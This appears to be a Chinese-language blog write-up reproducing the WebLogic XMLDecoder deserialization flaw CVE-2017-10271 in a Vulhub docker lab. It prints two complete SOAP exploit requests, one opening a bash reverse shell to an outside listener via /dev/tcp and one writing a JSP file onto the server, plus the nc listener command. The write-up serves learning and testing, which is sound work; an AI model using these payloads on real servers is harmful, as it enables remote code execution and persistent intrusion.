• Vulhub漏洞CVE-2017-10271复现


    Vulhub漏洞CVE-2017-10271复现

    简介

    WebLogic XMLDecoder反序列化漏洞

    WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。

    原理:
    主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
    
    XML	:
    可扩展标记语言,用来传输和存储数据
    
    XMLDecoder:
    XMLDecoder用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象,其位于java.beans包下。
    
    XMLEncoder:
    XMLEncoder 类是 ObjectOutputStream 的互补替换,可用于生成 JavaBean 的文本表示形式,所使用方式与用 ObjectOutputStream 创建 Serializable 对象的二进制表示形式的方式相同。
    

    受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

    漏洞利用路径:/wls-wsat/CoordinatorPortType

    操作

    前提:已安装好docker容器,vulhub靶场

    靶机(虚拟机):IP:192.168.73.131 攻击机:win10、ip略

    1. 进入CVE-2017-10271漏洞目录

      cd vulhub-master/weblogic/CVE-2017-10271
      

    2. 启动docker容器服务

      service docker start
      
    3. 使用docker编译启动漏洞环境

      docker-compose up -d
      

    4. 查看容器状态,发现开启了7001端口

    5. 访问端口,查看是否搭建成功。如下图为成功搭建

    6. 访问该路径下的”/wls-wsat/CoordinatorPortType11“目录,如下图就说明存在漏洞

    7. 靶机漏洞环境搭建好了以后,攻击机用端口8888开启nc监听

      nc -l -p 8888
      

    8. 构建poc:(白嫖的大神的,自己现在写不出来)

      POST /wls-wsat/CoordinatorPortType HTTP/1.1
      Host: 192.168.43.53:7001
      Accept-Encoding: gzip, deflate
      Accept: */*
      Accept-Language: en
      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
      Connection: close
      Content-Type: text/xml
      Content-Length: 637
      
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
      <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.4.0" class="java.beans.XMLDecoder">
      <void class="java.lang.ProcessBuilder">
      <array class="java.lang.String" length="3">
      <void index="0">
      <string>/bin/bash</string>
      </void>
      <void index="1">
      <string>-c</string>
      </void>
      <void index="2">
      <string>bash -i &gt;&amp; /dev/tcp/192.168.43.248/9999 0&gt;&amp;1</string>
      </void>
      </array>
      <void method="start"/></void>
      </java>
      </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
      </soapenv:Envelope>
      
    9. 使用bp向靶机发送poc,host主机地址就是靶机的地址,记得加上端口号。返回的是攻击机的地址和攻击机开启监听的端口。

    10. 发现监听成功反弹shell,说明构建poc攻击有效。

    11. 在之前的poc基础之上继续构建写入shell,发送(一瓢,嫖到底)

      POST /wls-wsat/CoordinatorPortType HTTP/1.1
      Host: 192.168.43.53:7001
      Accept-Encoding: gzip, deflate
      Accept: */*
      Accept-Language: en
      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
      Connection: close
      Content-Type: text/xml
      Content-Length: 639
      
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header>
          <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java><java version="1.4.0" class="java.beans.XMLDecoder">
          <object class="java.io.PrintWriter"> 
          <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
          <void method="println"><string>
          <![CDATA[
      <% out.print("test"); %>
          ]]>
          </string>
          </void>
          <void method="close"/>
          </object></java></java>
          </work:WorkContext>
          </soapenv:Header>
          <soapenv:Body/>
      </soapenv:Envelope>
      

    12. 访问shell,成功

      http://192.168.73.131:7001/bea_wls_internal/test.jsp
      

  • 相关阅读:
    软件工程 作业二
    软件工程 作业一
    201621123031 《Java程序设计》第14周学习总结
    201621123031 《Java程序设计》第13周学习总结
    201621123031 《Java程序设计》第12周学习总结
    201621123031 《Java程序设计》第11周学习总结
    201621123031 《Java程序设计》第10周学习总结
    201621123031 《Java程序设计》第9周学习总结
    Team抢救最后一下
    个人作业——案例分析
  • 原文地址:https://www.cnblogs.com/kbhome/p/12864801.html
Copyright © 2020-2023  润新知